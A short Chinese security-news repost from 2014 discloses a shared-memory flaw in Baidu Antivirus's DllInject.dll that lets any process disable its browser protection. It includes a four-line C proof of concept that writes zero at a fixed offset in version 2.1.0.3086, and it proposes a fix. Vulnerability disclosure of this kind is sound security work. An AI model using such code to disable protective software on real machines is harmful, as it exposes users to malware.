2345技术员联盟

百度杀毒曝共享内存漏洞

  • 来源:红黑联盟 转载
  • 时间:2014-12-09
  • 阅读:
  • 本文标签:百度杀毒

DllInject.dll使用共享内存数据,且无权限检查,任意进程均可对其进行修改,造成百度杀毒对浏览器的防御失效。

chrome浏览器为例:

攻击前:

破坏前.png

攻击后:

破坏后.png

可以看到,攻击后,chrome不再加载百度杀毒WebSafe、WebMonHook等几个功能DLL

  1. LPCTSTR lpszDll = _T("C:\\Program Files\\Baidu\\BaiduSd\\2.1.0.3086\\websafe\\DllInject.dll"); 
  2. HMODULE hMod = LoadLibrary(lpszDll); 
  3. DWORD* shareAddr = (DWORD*)((DWORD)hMod + 0x6000); // 针对2.1.0.3086的DllInject.dll 
  4. *shareAddr = 0

修复方案:

使用更为安全的内存共享手段,增加权限控制。

本文来自电脑技术网www.it892.com),转载本文请注明来源.
本文链接:http://www.it892.com/content/security/virus/20141209/5708.html
热点排行
无觅相关文章插件,快速提升流量